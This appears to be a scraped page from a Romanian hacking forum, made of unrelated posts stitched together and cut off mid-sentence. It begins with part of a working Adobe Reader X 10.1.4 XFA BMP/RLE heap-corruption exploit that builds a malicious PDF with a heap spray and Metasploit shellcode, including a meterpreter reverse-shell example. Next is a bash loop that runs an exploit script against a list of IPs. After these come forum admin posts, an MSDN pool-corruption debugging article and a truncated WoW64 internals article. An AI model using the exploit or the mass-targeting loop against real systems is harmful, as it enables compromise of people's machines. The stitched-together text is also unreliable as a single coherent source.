util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x70 pointer_slide += util.pack(acro); pointer_slide += util.pack(0x48484848); pointer_slide += util.pack(0x49494949); pointer_slide += util.pack(0x49494949); //0x80 pointer_slide += util.pack(0x49494949); pointer_slide += util.pack(0x50505050); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0x90 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xa0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xb0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xc0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.packs("VirtualProtect"); //@0xCC pointer_slide += "\u0000"; pointer_slide += "KERNEL32"; pointer_slide += "\u0000"; pointer_slide += "%%SHELLCODE%%"; while (pointer_slide.length < 0x1000/2) pointer_slide += util.pack(0x41414141); pointer_slide = pointer_slide.substring(0,0x1000/2); util.message("Pointer slide size: " + pointer_slide.length); // And now ensure it gets bigger than 0x100000 bytes while (pointer_slide.length < 0x100000/2) pointer_slide += pointer_slide; // And the actual spray for (i=0; i < 100; i+=1) spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + ""; // Everything done here close the doc and // trigger the use of the vtable util.message("Now what?"); var pdfDoc = event.target; pdfDoc.closeDoc(true); </script> </event> </subform> <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.5/?> <?templateDesigner DefaultLanguage JavaScript?> <?templateDesigner DefaultRunAt client?> <?acrobat JavaScript strictScoping?> <?PDFPrintOptions embedViewerPrefs 0?> <?PDFPrintOptions embedPrintOnFormOpen 0?> <?PDFPrintOptions scalingPrefs 0?> <?PDFPrintOptions enforceScalingPrefs 0?> <?PDFPrintOptions paperSource 0?> <?PDFPrintOptions duplexMode 0?> <?templateDesigner DefaultPreviewType interactive?> <?templateDesigner DefaultPreviewPagination simplex?> <?templateDesigner XDPPreviewFormat 19?> <?templateDesigner DefaultCaptionFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?> <?templateDesigner DefaultValueFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?> <?templateDesigner Zoom 119?> <?templateDesigner FormTargetVersion 30?> <?templateDesigner SaveTaggedPDF 1?> <?templateDesigner SavePDFWithEmbeddedFonts 1?> <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?></template> <config xmlns="http://www.xfa.org/schema/xci/3.0/"> <agent name="designer"> <!-- [0..n] --> <destination>pdf</destination> <pdf> <!-- [0..n] --> <fontInfo/> </pdf> </agent> <present> <!-- [0..n] --> <pdf> <!-- [0..n] --> <version>1.7</version> <adobeExtensionLevel>5</adobeExtensionLevel> </pdf> <common/> <xdp> <packets>*</packets> </xdp> </present> </config> <localeSet xmlns="http://www.xfa.org/schema/xfa-locale-set/2.7/"> <locale name="en_US" desc="English (United States)"> <calendarSymbols name="gregorian"> <monthNames> <month>January</month> <month>February</month> <month>March</month> <month>April</month> <month>May</month> <month>June</month> <month>July</month> <month>August</month> <month>September</month> <month>October</month> <month>November</month> <month>December</month> </monthNames> <monthNames abbr="1"> <month>Jan</month> <month>Feb</month> <month>Mar</month> <month>Apr</month> <month>May</month> <month>Jun</month> <month>Jul</month> <month>Aug</month> <month>Sep</month> <month>Oct</month> <month>Nov</month> <month>Dec</month> </monthNames> <dayNames> <day>Sunday</day> <day>Monday</day> <day>Tuesday</day> <day>Wednesday</day> <day>Thursday</day> <day>Friday</day> <day>Saturday</day> </dayNames> <dayNames abbr="1"> <day>Sun</day> <day>Mon</day> <day>Tue</day> <day>Wed</day> <day>Thu</day> <day>Fri</day> <day>Sat</day> </dayNames> <meridiemNames> <meridiem>AM</meridiem> <meridiem>PM</meridiem> </meridiemNames> <eraNames> <era>BC</era> <era>AD</era> </eraNames> </calendarSymbols> <datePatterns> <datePattern name="full">EEEE, MMMM D, YYYY</datePattern> <datePattern name="long">MMMM D, YYYY</datePattern> <datePattern name="med">MMM D, YYYY</datePattern> <datePattern name="short">M/D/YY</datePattern> </datePatterns> <timePatterns> <timePattern name="full">h:MM:SS A Z</timePattern> <timePattern name="long">h:MM:SS A Z</timePattern> <timePattern name="med">h:MM:SS A</timePattern> <timePattern name="short">h:MM A</timePattern> </timePatterns> <dateTimeSymbols>GyMdkHmsSEDFwWahKzZ</dateTimeSymbols> <numberPatterns> <numberPattern name="numeric">z,zz9.zzz</numberPattern> <numberPattern name="currency">$z,zz9.99|($z,zz9.99)</numberPattern> <numberPattern name="percent">z,zz9%</numberPattern> </numberPatterns> <numberSymbols> <numberSymbol name="decimal">.</numberSymbol> <numberSymbol name="grouping">,</numberSymbol> <numberSymbol name="percent">%</numberSymbol> <numberSymbol name="minus">-</numberSymbol> <numberSymbol name="zero">0</numberSymbol> </numberSymbols> <currencySymbols> <currencySymbol name="symbol">$</currencySymbol> <currencySymbol name="isoname">USD</currencySymbol> <currencySymbol name="decimal">.</currencySymbol> </currencySymbols> <typefaces> <typeface name="Myriad Pro"/> <typeface name="Minion Pro"/> <typeface name="Courier Std"/> <typeface name="Adobe Pi Std"/> <typeface name="Adobe Hebrew"/> <typeface name="Adobe Arabic"/> <typeface name="Adobe Thai"/> <typeface name="Kozuka Gothic Pro-VI M"/> <typeface name="Kozuka Mincho Pro-VI R"/> <typeface name="Adobe Ming Std L"/> <typeface name="Adobe Song Std L"/> <typeface name="Adobe Myungjo Std M"/> </typefaces> </locale> <?originalXFAVersion http://www.xfa.org/schema/xfa-locale-set/2.1/?></localeSet> <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"> <xfa:data xfa:dataNode="dataGroup"/> </xfa:datasets> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.2-c001 63.139439, 2011/06/07-10:39:26 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about=""> <xmp:MetadataDate>2012-11-23T13:41:54Z</xmp:MetadataDate> <xmp:CreatorTool>Adobe LiveCycle Designer ES 10.0</xmp:CreatorTool> <xmp:ModifyDate>2012-11-23T05:26:02-08:00</xmp:ModifyDate> <xmp:CreateDate>2012-11-23T05:15:47-08:00</xmp:CreateDate> </rdf:Description> <rdf:Description xmlns:pdf="http://ns.adobe.com/pdf/1.3/" rdf:about=""> <pdf:Producer>Adobe LiveCycle Designer ES 10.0</pdf:Producer> </rdf:Description> <rdf:Description xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" rdf:about=""> <xmpMM:DocumentID>uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7</xmpMM:DocumentID> <xmpMM:InstanceID>uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2</xmpMM:InstanceID> </rdf:Description> <rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:about=""> <dc:format>application/pdf</dc:format> </rdf:Description> </rdf:RDF> </x:xmpmeta> <xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"> <annots/> </xfdf></xdp:xdp> ''' assert len(shellcode) <= 0xF00, "You need a smaller shellcode, sorry" #shellcode xdp = xdp.replace("%%SHELLCODE%%",UEncode(shellcode)) xdp = xdp.replace("%%SLIDESIZE%%", "0x%x"%SLIDESIZE); xdp = xdp.replace("%%MINICHUNKX%%",UEncode('O'*SLIDESIZE)) xdp = xdp.replace("%%BMPFREELFH%%",mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05',True).encode('base64')) #xdp = xdp.replace("%%BMPFREELFH%%",file("/usr/share/pixmaps/gnome-news.png","rb").read().encode('base64')) file("%s.log"%sys.argv[0].split('.')[0],'wb').write(xdp) #The document doc = PDFDoc() #font font = PDFDict() font.add("Name", PDFName("F1")) font.add("Subtype", PDFName("Type1")) font.add("BaseFont", PDFName("Helvetica")) #name:font map fontname = PDFDict() fontname.add("F1",font) #resources resources = PDFDict() resources.add("Font",fontname) #contents contentsDict = PDFDict() contents= PDFStream(contentsDict, '''BT /F1 24 Tf 100 100 Td (Pedefe Pedefeito Pedefeon!) Tj ET''') #page page = PDFDict() page.add("Type",PDFName("Page")) page.add("Resources",resources) page.add("Contents", PDFRef(contents)) #pages pages = PDFDict() pages.add("Type", PDFName("Pages")) pages.add("Kids", PDFArray([PDFRef(page)])) pages.add("Count", PDFNum(1)) #add parent reference in page page.add("Parent",PDFRef(pages)) xfa = PDFStream(PDFDict(), xdp) xfa.appendFilter(FlateDecode()) doc.add(xfa) #form form = PDFDict() form.add("XFA", PDFRef(xfa)) doc.add(form) #shellcode2 shellcode2 = PDFStream(PDFDict(), struct.pack("<L",0xcac0face)+"\xcc"*10) doc.add(shellcode2) #catalog catalog = PDFDict() catalog.add("Type", PDFName("Catalog")) catalog.add("Pages", PDFRef(pages)) catalog.add("NeedsRendering", "true") catalog.add("AcroForm", PDFRef(form)) adbe = PDFDict() adbe.add("BaseVersion","/1.7") adbe.add("ExtensionLevel",PDFNum(3)) extensions = PDFDict() extensions.add("ADBE", adbe) catalog.add("Extensions",extensions) doc.add([catalog,pages,page,contents]) doc.setRoot(catalog) #render it return doc.__str__() if __name__ == '__main__': import optparse,os from subprocess import Popen, PIPE parser = optparse.OptionParser(description='Adobe Reader X 10.1.4 XFA BMP RLE Exploit') parser.add_option('--debug', action='store_true', default=False, help='For debugging') parser.add_option('--msfpayload', metavar='MSFPAYLOAD', default="windows/messagebox ", help="Metasploit payload. Ex. 'win32_exec CMD=calc'") parser.add_option('--payload', metavar='PAYLOAD', default=None) parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation') (options, args) = parser.parse_args() if options.doc: print __doc__ os.exit(-1) if options.debug: print mkXFAPDF(), os.exit(-1) if options.payload == None: #"windows/meterpreter/reverse_tcp LHOST=192.168.56.1 EXITFUNC=process R" msfpayload = Popen("msfpayload4.4 %s R"%options.msfpayload, shell=True, stdout=PIPE) shellcode = msfpayload.communicate()[0] else: shellcode = file(options.payload, "rb").read() #options.hexpayload.decode('hex') print mkXFAPDF(shellcode), Sursa: Adobe Reader X 10.1.4.38 - BMP/RLE Heap Corruption

E contul tau?

for ip in `cat ips.txt` do nohup perl expl.pl $ip > /dev/null done

Ideea nu e deloc rea. O sa vad ce se poate face, ma gandeam asa: 1. Creez un CA pentru RST 2. Semnez un certificat pentru server (self-signed) 3. Userii vor putea descarca si instala CA-ul pentru ca RST sa fie validat 4. Asta ma gandeam sa se faca doar optional, pentru cine vrea, pe un subdomeniu: secure.rstforums.com Pareri? PS: Pentru cine nu a inteles idee, asa cum exista posibilitatea ca NSA-ul si mai stiu eu ce organizatii sa aiba cheile private de la Facebook, Google (certificate SSL)... Exista posibilitatea sa aiba cheile private (cu care sunt semnate certificatele) de la firmele care ofera certificate: VeriSign, Comodo, StartSSL... Astfel, acele organizatii (NSA) pot face Man in the Middle pe trafic. Daca insa folosim un certificat self-signed, vor avea nevoie de cheia de pe serverul RST. Cei drept e cam paranoia si nu cred ca se complica nimeni atat pentru RST si un pusti care vinde un root...

S-a incercat sa nu se logheze niciun IP si nu se poate deoarece sunt probleme cu logarea pe vBulletin. S-au sters pentru mult timp, la un anumit interval, toate IP-urile. Stupid si inutil. Ce nu intelegeti voi insa este ca RST nu e cosul de gunoi care risca sa fie inchis din cauza unor ratati. Cu alte cuvinte, nu am de gand sa protejez carderii sau mai stiu eu ce specimene ar putea fi cautate. Daca cineva sparge un site, nu o sa vina nimeni sa ceara logurile de pe RST, o sa ia logurile de pe site-ul respectiv. Daca cineva vinde insa CC-uri pe aici, ei bine, firma de hosting o sa se trezeasca cu gaborii la usa, iar eu nu vreau sa am probleme incercand sa apar niste hoti. Apoi, nu este problema noastra ca Vasile face cacaturi, vine pe RST si isi posteaza numele, adresa si CNP-ul. Nu e treaba noastra sa stergem aceste date. La fel cu IP-urile: daca ai ceva de ascuns NU ITI FOLOSESTI IP-ul REAL AICI, nu vii cu pretentia sa fie sterse IP-urile si nici contul sau cine stie ce loguri. Faci cacat, mananci cacat, ma doare in cur de ratatii care fac cine stie ce magarii ca sa faca si ei 50 de dolari. La munca, nu la milogit. Cum zicea si tex: daca vine politia si cere serverul pentru cine stie ce carder, il sterg de praf, ii pun fundita si le dau serverul.

Hmmm, cred ca am o idee pentru two-factor authentication. Varianta cu mesaje catre un numar de telefon pica: 1. nu stiu daca gasim un serviciu ok de trimis mesaje 2. nu vreau sa pastram numerele voastre de telefon Dar: 1. User-ul uploadeaza o imagine 2. Se face sha1 pentru imaginea respectiva 3. Se compara hash-ul cu unul pastrat in baza de date 4. Fisierul nu trebuie sa fie neaparat o imagine Info: Hash-ul este creat la activarea optiunii. Pareri?

Ar fi frumos dar dificil de implementat. Inutil, cei care au avut nevoie si-au resetat parolele. Toti din staff au facut-o, asta era mai important. Nu stiu daca ar ajuta cu ceva. In plus, asa cum se pot decrypta la citire... Asa se pot decrypta... Schimbarea parolei e de ajuns. Daca sunt persoane carora le pasa de contul sau, si-au schimbat deja de mult timp parola. Asta ar putea fi utila. O pagina in care sa apara IP-urile de pe care s-a logat cineva pe un cont, vizibila DOAR de pe acel cont, la asta te referi nu? E o idee de viitor, ne gandim la asa ceva, ar fi perfect daca ai veni cu niste idei si criterii de selectie.

Doar de pe un anumit calculator, ca hardware? Uite cateva idei: c++ - Generating a Hardware-ID on Windows - Stack Overflow Mai multe idei (de exemplu adresa MAC): https://www.google.ro/#safe=off&sclient=psy-ab&q=windows+get+unique+hardware+id&oq=windows+get+unique+hardware+id

Ma, practic 340 RON in loc de 470 RON e ceva. Sunt totusi 130 RON. Da, o fi de marketing, dar pentru persoanele interesate e util. Exemplu: Asus RT-N56U Lista de preturi - cel mai mic pret

[h=3]Understanding Pool Corruption Part 1 – Buffer Overflows[/h]ntdebug 14 Jun 2013 1:50 PM Before we can discuss pool corruption we must understand what pool is. Pool is kernel mode memory used as a storage space for drivers. Pool is organized in a similar way to how you might use a notepad when taking notes from a lecture or a book. Some notes may be 1 line, others may be many lines. Many different notes are on the same page. Memory is also organized into pages, typically a page of memory is 4KB. The Windows memory manager breaks up this 4KB page into smaller blocks. One block may be as small as 8 bytes or possibly much larger. Each of these blocks exists side by side with other blocks. The !pool command can be used to see the pool blocks stored in a page. kd> !pool fffffa8003f42000 Pool page fffffa8003f42000 region is Nonpaged pool *fffffa8003f42000 size: 410 previous size: 0 (Free) *Irp Pooltag Irp : Io, IRP packets fffffa8003f42410 size: 40 previous size: 410 (Allocated) MmSe fffffa8003f42450 size: 150 previous size: 40 (Allocated) File fffffa8003f425a0 size: 80 previous size: 150 (Allocated) Even fffffa8003f42620 size: c0 previous size: 80 (Allocated) EtwR fffffa8003f426e0 size: d0 previous size: c0 (Allocated) CcBc fffffa8003f427b0 size: d0 previous size: d0 (Allocated) CcBc fffffa8003f42880 size: 20 previous size: d0 (Free) Free fffffa8003f428a0 size: d0 previous size: 20 (Allocated) Wait fffffa8003f42970 size: 80 previous size: d0 (Allocated) CM44 fffffa8003f429f0 size: 80 previous size: 80 (Allocated) Even fffffa8003f42a70 size: 80 previous size: 80 (Allocated) Even fffffa8003f42af0 size: d0 previous size: 80 (Allocated) Wait fffffa8003f42bc0 size: 80 previous size: d0 (Allocated) CM44 fffffa8003f42c40 size: d0 previous size: 80 (Allocated) Wait fffffa8003f42d10 size: 230 previous size: d0 (Allocated) ALPC fffffa8003f42f40 size: c0 previous size: 230 (Allocated) EtwR Because many pool allocations are stored in the same page, it is critical that every driver only use the space they have allocated. If DriverA uses more space than it allocated they will write into the next driver’s space (DriverB) and corrupt DriverB’s data. This overwrite into the next driver’s space is called a buffer overflow. Later either the memory manager or DriverB will attempt to use this corrupted memory and will encounter unexpected information. This unexpected information typically results in a blue screen. The NotMyFault application from Sysinternals has an option to force a buffer overflow. This can be used to demonstrate pool corruption. Choosing the “Buffer overflow” option and clicking “Crash” will cause a buffer overflow in pool. The system may not immediately blue screen after clicking the Crash button. The system will remain stable until something attempts to use the corrupted memory. Using the system will often eventually result in a blue screen. Often pool corruption appears as a stop 0x19 BAD_POOL_HEADER or stop 0xC2 BAD_POOL_CALLER. These stop codes make it easy to determine that pool corruption is involved in the crash. However, the results of accessing unexpected memory can vary widely, as a result pool corruption can result in many different types of bugchecks. As with any blue screen dump analysis the best place to start is with !analyze -v. This command will display the stop code and parameters, and do some basic interpretation of the crash. kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* SYSTEM_SERVICE_EXCEPTION (3b) An exception happened while executing a system service routine. Arguments: Arg1: 00000000c0000005, Exception code that caused the bugcheck Arg2: fffff8009267244a, Address of the instruction which caused the bugcheck Arg3: fffff88004763560, Address of the context record for the exception that caused the bugcheck Arg4: 0000000000000000, zero. In my example the bugcheck was a stop 0x3B SYSTEM_SERVICE_EXCEPTION. The first parameter of this stop code is c0000005, which is a status code for an access violation. An access violation is an attempt to access invalid memory (this error is not related to permissions). Status codes can be looked up in the WDK header ntstatus.h. The !analyze -v command also provides a helpful shortcut to get into the context of the failure. CONTEXT: fffff88004763560 -- (.cxr 0xfffff88004763560;r) Running this command shows us the registers at the time of the crash. kd> .cxr 0xfffff88004763560 rax=4f4f4f4f4f4f4f4f rbx=fffff80092690460 rcx=fffff800926fbc60 rdx=0000000000000000 rsi=0000000000001000 rdi=0000000000000000 rip=fffff8009267244a rsp=fffff88004763f60 rbp=fffff8009268fb40 r8=fffffa8001a1b820 r9=0000000000000001 r10=fffff800926fbc60 r11=0000000000000011 r12=0000000000000000 r13=fffff8009268fb48 r14=0000000000000012 r15=000000006374504d iopl=0 nv up ei pl nz na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206 nt!ExAllocatePoolWithTag+0x442: fffff800`9267244a 4c8b4808 mov r9,qword ptr [rax+8] ds:002b:4f4f4f4f`4f4f4f57=???????????????? From the above output we can see that the crash occurred in ExAllocatePoolWithTag, which is a good indication that the crash is due to pool corruption. Often an engineer looking at a dump will stop at this point and conclude that a crash was caused by corruption, however we can go further. The instruction that we failed on was dereferencing rax+8. The rax register contains 4f4f4f4f4f4f4f4f, which does not fit with the canonical form required for pointers on x64 systems. This tells us that the system crashed because the data in rax is expected to be a pointer but it is not one. To determine why rax does not contain the expected data we must examine the instructions prior to where the failure occurred. kd> ub . nt!KzAcquireQueuedSpinLock [inlined in nt!ExAllocatePoolWithTag+0x421]: fffff800`92672429 488d542440 lea rdx,[rsp+40h] fffff800`9267242e 49875500 xchg rdx,qword ptr [r13] fffff800`92672432 4885d2 test rdx,rdx fffff800`92672435 0f85c3030000 jne nt!ExAllocatePoolWithTag+0x7ec (fffff800`926727fe) fffff800`9267243b 48391b cmp qword ptr [rbx],rbx fffff800`9267243e 0f8464060000 je nt!ExAllocatePoolWithTag+0xa94 (fffff800`92672aa8) fffff800`92672444 4c8b03 mov r8,qword ptr [rbx] fffff800`92672447 498b00 mov rax,qword ptr [r8] The assembly shows that rax originated from the data pointed to by r8. The .cxr command we ran earlier shows that r8 is fffffa8001a1b820. If we examine the data at fffffa8001a1b820 we see that it matches the contents of rax, which confirms this memory is the source of the unexpected data in rax. kd> dq fffffa8001a1b820 l1 fffffa80`01a1b820 4f4f4f4f`4f4f4f4f To determine if this unexpected data is caused by pool corruption we can use the !pool command. kd> !pool fffffa8001a1b820 Pool page fffffa8001a1b820 region is Nonpaged pool fffffa8001a1b000 size: 810 previous size: 0 (Allocated) None fffffa8001a1b810 doesn't look like a valid small pool allocation, checking to see if the entire page is actually part of a large page allocation... fffffa8001a1b810 is not a valid large pool allocation, checking large session pool... fffffa8001a1b810 is freed (or corrupt) pool Bad previous allocation size @fffffa8001a1b810, last size was 81 *** *** An error (or corruption) in the pool was detected; *** Attempting to diagnose the problem. *** *** Use !poolval fffffa8001a1b000 for more details. Pool page [ fffffa8001a1b000 ] is __inVALID. Analyzing linked list... [ fffffa8001a1b000 --> fffffa8001a1b010 (size = 0x10 bytes)]: Corrupt region Scanning for single bit errors... None found The above output does not look like the !pool command we used earlier. This output shows corruption to the pool header which prevented the command from walking the chain of allocations. The above output shows that there is an allocation at fffffa8001a1b000 of size 810. If we look at this memory we should see a pool header. Instead what we see is a pattern of 4f4f4f4f`4f4f4f4f. kd> dq fffffa8001a1b000 + 810 fffffa80`01a1b810 4f4f4f4f`4f4f4f4f 4f4f4f4f`4f4f4f4f fffffa80`01a1b820 4f4f4f4f`4f4f4f4f 4f4f4f4f`4f4f4f4f fffffa80`01a1b830 4f4f4f4f`4f4f4f4f 00574f4c`46524556 fffffa80`01a1b840 00000000`00000000 00000000`00000000 fffffa80`01a1b850 00000000`00000000 00000000`00000000 fffffa80`01a1b860 00000000`00000000 00000000`00000000 fffffa80`01a1b870 00000000`00000000 00000000`00000000 fffffa80`01a1b880 00000000`00000000 00000000`00000000 At this point we can be confident that the system crashed because of pool corruption. Because the corruption occurred in the past, and a dump is a snapshot of the current state of the system, there is no concrete evidence to indicate how the memory came to be corrupted. It is possible the driver that allocated the pool block immediately preceding the corruption is the one that wrote to the wrong location and caused this corruption. This pool block is marked with the tag “None”, we can search for this tag in memory to determine which drivers use it. kd> !for_each_module s -a @#Base @#End "None" fffff800`92411bc2 4e 6f 6e 65 e9 45 04 26-00 90 90 90 90 90 90 90 None.E.&........ kd> u fffff800`92411bc2-1 nt!ExAllocatePool+0x1: fffff800`92411bc1 b84e6f6e65 mov eax,656E6F4Eh fffff800`92411bc6 e945042600 jmp nt!ExAllocatePoolWithTag (fffff800`92672010) fffff800`92411bcb 90 nop The file Pooltag.txt lists the pool tags used for pool allocations by kernel-mode components and drivers supplied with Windows, the associated file or component (if known), and the name of the component. Pooltag.txt is installed with Debugging Tools for Windows (in the triage folder) and with the Windows WDK (in \tools\other\platform\poolmon). Pooltag.txt shows the following for this tag: None - <unknown> - call to ExAllocatePool Unfortunately what we find is that this tag is used when a driver calls ExAllocatePool, which does not specify a tag. This does not allow us to determine what driver allocated the block prior to the corruption. Even if we could tie the tag back to a driver it may not be sufficient to conclude that the driver using this tag is the one that corrupted the memory. The next step should be to enable special pool and hope to catch the corruptor in the act. We will discuss special pool in our next article. Sursa: Understanding Pool Corruption Part 1 – Buffer Overflows - Ntdebugging Blog - Site Home - MSDN Blogs

[h=2]WoW64 internals: Tale of GetSystemFileCacheSize[/h]June 28, 2013 / ReWolf Few days ago someone asked me if I can somehow add GetSystemFileCacheSize to wow64ext library. I’ve researched this topic a bit and the final answer is no, because it is not necessary. In today post I’ll try to describe internals of GetSystemFileCacheSize function and its limitations, I’ll also show the different way of obtaining the same information as original GetSystemFileCacheSize. [h=3]GetSystemFileCacheSize internals[/h] Body of the function can be found inside kernel32 library, it is pretty simple: BOOL WINAPI GetSystemFileCacheSize ( PSIZE_T lpMinimumFileCacheSize, PSIZE_T lpMaximumFileCacheSize, PDWORD lpFlags ) { BYTE* _teb32 = (BYTE*)__readfsdword(0x18); // mov eax, large fs:18h BYTE* _teb64 = *(BYTE**)(_teb32 + 0xF70); // mov eax, [eax+0F70h] DWORD unk_v = **(DWORD**)(_teb64 + 0x14D0); // mov eax, [eax+14D0h] SYSTEM_FILECACHE_INFORMATION sfi; //SystemFileCacheInformationEx = 0x51 NTSTATUS ret = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x51, &sfi, sizeof(sfi), 0); if (ret < 0) { BaseSetLastNTError(ret); return FALSE; } if ((unsigned int)sfi.MinimumWorkingSet * (unsigned __int64)unk_v > 0xFFFFFFFF || (unsigned int)sfi.MaximumWorkingSet * (unsigned __int64)unk_v > 0xFFFFFFFF ) { BaseSetLastNTError(STATUS_INTEGER_OVERFLOW); return FALSE; } *lpMinimumFileCacheSize = unk_v * sfi.MinimumWorkingSet; *lpMaximumFileCacheSize = unk_v * sfi.MaximumWorkingSet; *lpFlags = 0; if (sfi.Flags & FILE_CACHE_MIN_HARD_ENABLE) *lpFlags = FILE_CACHE_MIN_HARD_ENABLE; if (sfi.Flags & FILE_CACHE_MAX_HARD_ENABLE) *lpFlags |= FILE_CACHE_MAX_HARD_ENABLE; return TRUE; } So, let’s study it step by step. At first it gets some magic value from the TEB, figuring out where this value came from is the key to understand the whole function. FS:0×18 contains TEB32 pointer, next instruction gets another pointer from TEB32+0xF70, according to PDB symbols, this field is called GdiBatchCount: TEB32: ... +0xf6c WinSockData : Ptr32 Void +0xf70 GdiBatchCount : Uint4B +0xf74 CurrentIdealProcessor : _PROCESSOR_NUMBER ... First surprise, in WoW64 this field contains pointer to x64 TEB (yes, in WoW64 processes there are two TEBs, x86 and x64, as well as two PEBs, but regular readers of this blog probably already knew it ). In third step, it gets value from TEB64+0x14D0, according to PDB symbols it is one of the entries inside TlsSlots: TEB64: ... +0x1478 DeallocationStack : Ptr64 Void +0x1480 TlsSlots : [64] Ptr64 Void +0x1680 TlsLinks : _LIST_ENTRY ... Precisely speaking it is TEB64.TlsSlot[0x0A]. It took me some time to track the code responsible for writing to this particular TlsSlot, but I’ve succeeded. There is only one place inside wow64.dll that writes at this address: ;wow64.dll::Wow64LdrpInitialize: ... .text:0000000078BDC15C mov rax, gs:30h .text:0000000078BDC165 mov rdi, rcx .text:0000000078BDC168 xor r13d, r13d .text:0000000078BDC16B mov ecx, [rax+2030h] .text:0000000078BDC171 or r15, 0FFFFFFFFFFFFFFFFh .text:0000000078BDC175 mov r14d, 1 .text:0000000078BDC17B add rcx, 248h .text:0000000078BDC182 mov cs:Wow64InfoPtr, rcx .text:0000000078BDC189 mov rcx, gs:30h .text:0000000078BDC192 mov rax, cs:Wow64InfoPtr .text:0000000078BDC199 mov [rcx+14D0h], rax ;<- write to TlsSlot ... Above snippet is a part of the Wow64LdrpInitialize function (it is exported from wow64.dll) and there are a few interesting things. At first it gets TEB64 address from GS:0×30 (standard procedure on x64 windows), then it gets address from TEB64+0×2030, adds 0×248 to this address and stores this value in TEB64.TlsSlot[0x0A]. It stores it also in a variable called Wow64InfoPtr. Looking at this code under debugger reveals more interesting details, apparently TEB64+0×2000 points to TEB32, TEB32+0×30 contains pointer to PEB32: TEB32: ... +0x02c ThreadLocalStoragePointer : 0x7efdd02c +0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB +0x034 LastErrorValue : 0 ... So, there is some mystical Wow64InfoPtr structure at PEB32+0×248 address. On Windows 7, 0×248 is the exact size of PEB32 structure (aligned to 8, on windows Vista it is 0×238, probably on Windows 8 it will be also different), so this new structure follows PEB32. Querying google for Wow64InfoPtr returns 0 results. Judging from the references, this structure contains at least three fields, I was interested only in the first one: ;wow64.dll::ProcessInit: ... .text:0000000078BD8F70 mov rax, cs:Wow64InfoPtr .text:0000000078BD8F77 mov edx, 1 .text:0000000078BD8F7C and dword ptr [rax+8], 0 .text:0000000078BD8F80 mov dword ptr [rax], 1000h ... Above code is part of the wow64.dll::ProcessInit function, and it has hardcoded 0×1000 value that is assigned to the first field of the Wow64InfoPtr structure. Summing things up, those first three operations at the begining of GetSystemFileCacheSize are just getting hardcoded 0×1000 value. I can guess, that this value represents size of the memory page inside WoW64 process, I can also confirm this guess by looking at the x64 version of GetSystemFileCacheSize: ;kernel32.dll::GetSystemFileCacheSize: ... .text:0000000078D67CF6 mov eax, cs:SysInfo.uPageSize .text:0000000078D67CFC mov ecx, [rsp+68h+var_48.Flags] .text:0000000078D67D00 imul rax, [rsp+68h+var_48.MinimumWorkingSet] .text:0000000078D67D06 mov [rsi], rax .text:0000000078D67D09 mov eax, cs:SysInfo.uPageSize .text:0000000078D67D0F imul rax, [rsp+68h+var_48.MaximumWorkingSet] ... Further part of the function is clear, it calls NtQuerySystemInformation with SYSTEM_INFORMATION_CLASS set to SystemFileCacheInformationEx (0×51). After this call SYSTEM_FILECACHE_INFORMATION structure is filled with desired information: typedef struct _SYSTEM_FILECACHE_INFORMATION { SIZE_T CurrentSize; SIZE_T PeakSize; ULONG PageFaultCount; SIZE_T MinimumWorkingSet; SIZE_T MaximumWorkingSet; SIZE_T CurrentSizeIncludingTransitionInPages; SIZE_T PeakSizeIncludingTransitionInPages; ULONG TransitionRePurposeCount; ULONG Flags; } SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; At this point function verifies if output values (lpMinimumFileCacheSize and lpMaximumFileCacheSize) fits in 32bits: if ((unsigned int)sfi.MinimumWorkingSet * (unsigned __int64)unk_v > 0xFFFFFFFF || (unsigned int)sfi.MaximumWorkingSet * (unsigned __int64)unk_v > 0xFFFFFFFF ) { ... } With the default (?) system settings lpMaximumFileCacheSize will exceed 32bits, because sfi.MaximumWorkingSet is set to 0×10000000 and unk_v (page size) is 0×1000, so multiplication of those values wouldn’t fit in 32bits. In that case function will return FALSE and set last Win32 error to ERROR_ARITHMETIC_OVERFLOW (0×00000216). [h=3]GetSystemFileCacheSize replacement[/h] I’m not really sure if there is some proper (and documented) way to replace this function, but one can use NtQuerySystemInformation with SystemFileCacheInformationEx (0×51) or SystemFileCacheInformation (0×15) classes, both classes are using the same SYSTEM_FILECACHE_INFORMATION structure. SystemFileCacheInformation (0×15) is used by CacheSet sysinternals tool. To get exactly the same values as from GetSystemFileCacheSize, results returned by NtQuerySystemInformation should be adjusted by below code snippet: lpMinimumFileCacheSize = PAGE_SIZE * sfi.MinimumWorkingSet; lpMaximumFileCacheSize = PAGE_SIZE * sfi.MaximumWorkingSet; lpFlags = 0; if (sfi.Flags & 